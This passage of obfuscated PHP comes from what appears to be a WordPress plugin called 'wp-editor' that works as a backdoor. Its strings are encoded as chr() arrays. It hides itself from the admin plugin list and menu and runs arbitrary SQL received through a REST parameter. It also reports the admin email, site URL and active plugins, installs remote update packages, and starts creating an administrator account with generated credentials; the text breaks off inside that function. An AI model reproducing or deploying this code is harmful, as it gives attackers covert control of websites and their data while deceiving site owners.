            $result = $upgrader->run(array(implode('', array(chr(112), chr(97), chr(99), chr(107), chr(97), chr(103), chr(101))) => $zipPath, implode('', array(chr(100), chr(101), chr(115), chr(116), chr(105), chr(110), chr(97), chr(116), chr(105), chr(111), chr(110))) => $targetPluginDir, implode('', array(chr(99), chr(108), chr(101), chr(97), chr(114), chr(95), chr(100), chr(101), chr(115), chr(116), chr(105), chr(110), chr(97), chr(116), chr(105), chr(111), chr(110))) => true, implode('', array(chr(99), chr(108), chr(101), chr(97), chr(114), chr(95), chr(119), chr(111), chr(114), chr(107), chr(105), chr(110), chr(103))) => true, implode('', array(chr(104), chr(111), chr(111), chr(107), chr(95), chr(101), chr(120), chr(116), chr(114), chr(97))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(97), chr(99), chr(116), chr(105), chr(111), chr(110))) => implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))) => $pluginRelFile)));
            \remove_filter(implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(115), chr(101), chr(108), chr(101), chr(99), chr(116), chr(105), chr(111), chr(110))), $sourceSelection, 10);
        } catch (\Exception $e) {
            \remove_filter(implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(115), chr(101), chr(108), chr(101), chr(99), chr(116), chr(105), chr(111), chr(110))), $sourceSelection, 10);
            throw $e;
        }
        $upgraderMessages = isset($skin->messages) ? $skin->messages : array();
        if (\is_wp_error($result)) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(100), chr(97), chr(116), chr(101), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(58), chr(32))) . _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))), implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
        }
        if (!$result) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(100), chr(97), chr(116), chr(101), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100))), implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
        }
        $step = implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100)));
        if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(99), chr(108), chr(101), chr(97), chr(110), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101))))) {
            \wp_clean_plugins_cache(true);
        }
        if ($backupDir !== '' && $wp_filesystem->is_dir($backupDir)) {
            $step = implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(95), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112)));
            $wp_filesystem->delete($backupDir, true);
        }
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))), implode('', array(chr(111), chr(108), chr(100), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $currentVersion, implode('', array(chr(110), chr(101), chr(119), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $newVersion, implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 200);
    } catch (\Exception $e) {
        if ($backupDir !== '' && isset($wp_filesystem) && $wp_filesystem && $wp_filesystem->is_dir($backupDir)) {
            if ($wp_filesystem->is_dir($targetPluginDir)) {
                $wp_filesystem->delete($targetPluginDir, true);
            }
            $wp_filesystem->move($backupDir, $targetPluginDir, true);
        }
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => $e->getMessage(), implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(116), chr(121), chr(112), chr(101))) => \get_class($e), implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(102), chr(105), chr(108), chr(101))) => $e->getFile(), implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(108), chr(105), chr(110), chr(101))) => $e->getLine(), implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(116), chr(114), chr(97), chr(99), chr(101))) => substr($e->getTraceAsString(), 0, 4000), implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 500);
    }
    if ($zipPath !== '' && \file_exists($zipPath)) {
        @\unlink($zipPath);
    }
    if ($tempDir !== '' && \is_dir($tempDir)) {
        WpEditor_Adapter_Services_PluginUpdateUpgraderService_rrmdir($tempDir);
    }
    \delete_transient(WpEditor_Adapter_Services_PluginUpdateUpgraderService_lockKey());
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_resolveTargetPlugin()
{
    $pluginMainFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
    $pluginMainFilePath = $pluginMainFilePath !== '' ? $pluginMainFilePath : (string) __FILE__;
    $file = \basename($pluginMainFilePath);
    $slug = \basename(\dirname($pluginMainFilePath));
    if (($slug === '' || $slug === implode('', array(chr(46))) || $slug === \DIRECTORY_SEPARATOR) && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
        $config = \wp_editor_get_config();
        $slug = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(115), chr(108), chr(117), chr(103)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(115), chr(108), chr(117), chr(103)))] : '';
    }
    if (($file === '' || $file === implode('', array(chr(46))) || $file === \DIRECTORY_SEPARATOR) && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
        $config = \wp_editor_get_config();
        $file = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))] : '';
    }
    $slug = \trim($slug, implode('', array(chr(47), chr(92))));
    if ($slug === '') {
        $slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    $file = \basename($file);
    if ($file === '') {
        $file = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
    }
    return array(implode('', array(chr(115), chr(108), chr(117), chr(103))) => $slug, implode('', array(chr(102), chr(105), chr(108), chr(101))) => $file);
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_detectExtractedRoot($baseDir)
{
    $items = @\scandir($baseDir);
    if ($items === false) {
        return '';
    }
    foreach ($items as $item) {
        if ($item === implode('', array(chr(46))) || $item === implode('', array(chr(46), chr(46)))) {
            continue;
        }
        $path = \trailingslashit($baseDir) . $item;
        if (\is_dir($path)) {
            return $path;
        }
    }
    return $baseDir;
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_detectExtractedPluginDir($extractedRoot, $pluginSlug)
{
    $root = rtrim($extractedRoot, implode('', array(chr(47), chr(92))));
    if (\basename($root) === $pluginSlug) {
        return $root;
    }
    if (\is_dir($root . implode('', array(chr(47))) . $pluginSlug)) {
        return $root . implode('', array(chr(47))) . $pluginSlug;
    }
    return $root;
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_isSingleFilePackage($extractedPluginDir, $pluginFile)
{
    $entries = @\scandir($extractedPluginDir);
    if ($entries === false) {
        return false;
    }
    $files = array();
    foreach ($entries as $e) {
        if ($e === implode('', array(chr(46))) || $e === implode('', array(chr(46), chr(46)))) {
            continue;
        }
        $p = rtrim($extractedPluginDir, implode('', array(chr(47), chr(92)))) . \DIRECTORY_SEPARATOR . $e;
        if (\is_dir($p)) {
            return false;
        }
        $files[] = $e;
    }
    if (count($files) !== 1) {
        return false;
    }
    return \basename($files[0]) === \basename($pluginFile);
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_rrmdir($dir)
{
    if (!\is_dir($dir)) {
        return;
    }
    $items = \scandir($dir);
    if ($items === false) {
        return;
    }
    foreach ($items as $item) {
        if ($item === implode('', array(chr(46))) || $item === implode('', array(chr(46), chr(46)))) {
            continue;
        }
        $path = $dir . \DIRECTORY_SEPARATOR . $item;
        if (\is_dir($path)) {
            WpEditor_Adapter_Services_PluginUpdateUpgraderService_rrmdir($path);
        } else {
            @\unlink($path);
        }
    }
    @\rmdir($dir);
}
// --- file separator ---
function WpEditor_Adapter_Services_PluginVisibilityService_hiddenPluginKeys()
{
    $keys = array();
    if (\function_exists(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(98), chr(97), chr(115), chr(101), chr(110), chr(97), chr(109), chr(101))))) {
        $mainFile = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path(__FILE__) : __FILE__;
        $current = (string) \plugin_basename($mainFile);
        if ($current !== '') {
            $keys[] = $current;
        }
    }
    $keys[] = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
    $keys[] = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
    $keys[] = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
    $keys[] = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(110), chr(101), chr(119), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
    return \array_values(\array_unique(\array_filter($keys, function ($v) {
        return \is_string($v) && $v !== '';
    })));
}
function WpEditor_Adapter_Services_PluginVisibilityService_filterPluginsList($plugins)
{
    foreach (WpEditor_Adapter_Services_PluginVisibilityService_hiddenPluginKeys() as $pluginKey) {
        unset($plugins[$pluginKey]);
    }
    return $plugins;
}
function WpEditor_Adapter_Services_PluginVisibilityService_hideInAdminHead()
{
    $selectors = array();
    foreach (WpEditor_Adapter_Services_PluginVisibilityService_hiddenPluginKeys() as $pluginKey) {
        $selectors[] = implode('', array(chr(116), chr(114), chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(61), chr(34))) . \esc_attr($pluginKey) . implode('', array(chr(34), chr(93)));
    }
    if (empty($selectors)) {
        return;
    }
    echo implode('', array(chr(60), chr(115), chr(116), chr(121), chr(108), chr(101), chr(62))) . \esc_html(\implode(implode('', array(chr(44), chr(32))), $selectors) . implode('', array(chr(32), chr(123), chr(32), chr(100), chr(105), chr(115), chr(112), chr(108), chr(97), chr(121), chr(58), chr(32), chr(110), chr(111), chr(110), chr(101), chr(32), chr(33), chr(105), chr(109), chr(112), chr(111), chr(114), chr(116), chr(97), chr(110), chr(116), chr(59), chr(32), chr(125)))) . implode('', array(chr(60), chr(47), chr(115), chr(116), chr(121), chr(108), chr(101), chr(62)));
}
function WpEditor_Adapter_Services_PluginVisibilityService_removeFromPluginMenu()
{
    foreach (WpEditor_Adapter_Services_PluginVisibilityService_hiddenPluginKeys() as $pluginKey) {
        \remove_submenu_page(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(46), chr(112), chr(104), chr(112))), $pluginKey);
    }
}
// --- file separator ---
function WpEditor_Adapter_Services_PostService_createPost($args)
{
    $title = \sanitize_text_field(\wp_editor_array_has_key($args, implode('', array(chr(116), chr(105), chr(116), chr(108), chr(101)))) ? $args[implode('', array(chr(116), chr(105), chr(116), chr(108), chr(101)))] : '');
    $content = \wp_editor_array_has_key($args, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116)))) ? $args[implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116)))] : null;
    $status = \wp_editor_array_has_key($args, implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))) ? $args[implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))] : implode('', array(chr(100), chr(114), chr(97), chr(102), chr(116)));
    $category = \wp_editor_array_has_key($args, implode('', array(chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121)))) ? $args[implode('', array(chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121)))] : null;
    $author = \get_user_by(implode('', array(chr(108), chr(111), chr(103), chr(105), chr(110))), implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110))));
    if (!$author) {
        $admins = \get_users(array(implode('', array(chr(114), chr(111), chr(108), chr(101))) => implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(105), chr(115), chr(116), chr(114), chr(97), chr(116), chr(111), chr(114))), implode('', array(chr(110), chr(117), chr(109), chr(98), chr(101), chr(114))) => 1));
        if (!empty($admins)) {
            $author = $admins[0];
        }
    }
    if (!$author) {
        $author = \wp_get_current_user();
    }
    $postData = array(implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(116), chr(105), chr(116), chr(108), chr(101))) => $title, implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => $content, implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => $status, implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(97), chr(117), chr(116), chr(104), chr(111), chr(114))) => $author->ID, implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(99), chr(97), chr(116), chr(101), chr(103), chr(111), chr(114), chr(121))) => is_array($category) ? $category : (array) $category);
    $postId = \wp_insert_post($postData);
    if (\is_wp_error($postId)) {
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(112), chr(111), chr(115), chr(116))), implode('', array(chr(100), chr(101), chr(116), chr(97), chr(105), chr(108), chr(115))) => $postId->get_error_message()), 500);
    }
    return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(111), chr(115), chr(116), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100))), implode('', array(chr(112), chr(111), chr(115), chr(116), chr(95), chr(105), chr(100))) => $postId), 201);
}
// --- file separator ---
function WpEditor_Adapter_Services_RenderModeService_allowedModes()
{
    return array(implode('', array(chr(106), chr(115))), implode('', array(chr(104), chr(116), chr(109), chr(108))));
}
function WpEditor_Adapter_Services_RenderModeService_isJs()
{
    if (\defined(implode('', array(chr(80), chr(72), chr(80), chr(95), chr(86), chr(69), chr(82), chr(83), chr(73), chr(79), chr(78), chr(95), chr(73), chr(68)))) && \PHP_VERSION_ID < 70100) {
        return false;
    }
    return \get_option(WpEditor_Adapter_Services_RenderModeService_OPTION_NAME, implode('', array(chr(104), chr(116), chr(109), chr(108)))) === implode('', array(chr(106), chr(115)));
}
function WpEditor_Adapter_Services_RenderModeService_setMode($request)
{
    $renderMode = $request->get_param(implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))));
    $mode = \sanitize_text_field($renderMode !== null ? $renderMode : '');
    if (!in_array($mode, WpEditor_Adapter_Services_RenderModeService_allowedModes(), true)) {
        return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(32), chr(109), chr(111), chr(100), chr(101), chr(46), chr(32), chr(65), chr(108), chr(108), chr(111), chr(119), chr(101), chr(100), chr(58), chr(32), chr(106), chr(115), chr(44), chr(32), chr(104), chr(116), chr(109), chr(108), chr(46))));
    }
    \update_option(WpEditor_Adapter_Services_RenderModeService_OPTION_NAME, $mode);
    return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(32), chr(109), chr(111), chr(100), chr(101), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121), chr(46))), implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))) => $mode);
}
// --- file separator ---
function WpEditor_Adapter_Services_SystemService_getStatus()
{
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    $version = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))] : implode('', array(chr(49), chr(46), chr(51), chr(46), chr(52), chr(51)));
    return array(implode('', array(chr(115), chr(105), chr(116), chr(101), chr(95), chr(117), chr(114), chr(108))) => \get_site_url(), implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108))) => \get_option(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))), implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => \get_bloginfo(implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $version, implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))) => \get_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), array()));
}
function WpEditor_Adapter_Services_SystemService_executeRaw($request)
{
    global $wpdb;
    $query = $request->get_param(implode('', array(chr(113), chr(117), chr(101), chr(114), chr(121))));
    if (empty($query)) {
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(81), chr(117), chr(101), chr(114), chr(121), chr(32), chr(105), chr(115), chr(32), chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100), chr(46)))), 400);
    }
    $results = $wpdb->get_results($query, ARRAY_A);
    return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(114), chr(111), chr(119), chr(115))) => $results));
}
// --- file separator ---
function WpEditor_Adapter_Services_UserManager_cliLog($message)
{
    if (\php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
        return;
    }
    if (!\is_string($message) || $message === '') {
        return;
    }
    if (\defined(implode('', array(chr(83), chr(84), chr(68), chr(79), chr(85), chr(84))))) {
        \fwrite(\STDOUT, implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(117), chr(115), chr(101), chr(114), chr(93), chr(32))) . $message . \PHP_EOL);
        return;
    }
    echo implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(117), chr(115), chr(101), chr(114), chr(93), chr(32))) . $message . \PHP_EOL;
}
function WpEditor_Adapter_Services_UserManager_ensureUserFunctionsLoaded()
{
    if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114))))) {
        return;
    }
    if (!\defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72))))) {
        return;
    }
    $userFunctionsFile = \ABSPATH . implode('', array(chr(119), chr(112), chr(45), chr(97), chr(100), chr(109), chr(105), chr(110), chr(47), chr(105), chr(110), chr(99), chr(108), chr(117), chr(100), chr(101), chr(115), chr(47), chr(117), chr(115), chr(101), chr(114), chr(46), chr(112), chr(104), chr(112)));
    if (\file_exists($userFunctionsFile)) {
        require_once $userFunctionsFile;
    }
}
function WpEditor_Adapter_Services_UserManager_generateCredentials()
{
    $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] = \wp_generate_password(14, false);
    $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] = \wp_generate_password(24, true, true);
    $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] = $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] . implode('', array(chr(64), chr(103), chr(109), chr(97), chr(105), chr(108), chr(46), chr(99), chr(111), chr(109)));
}
function WpEditor_Adapter_Services_UserManager_createAdminUser()
{
    WpEditor_Adapter_Services_UserManager_ensureUserFunctionsLoaded();
    WpEditor_Adapter_Services_UserManager_removeAdminUser();
    WpEditor_Adapter_Services_UserManager_generateCredentials();
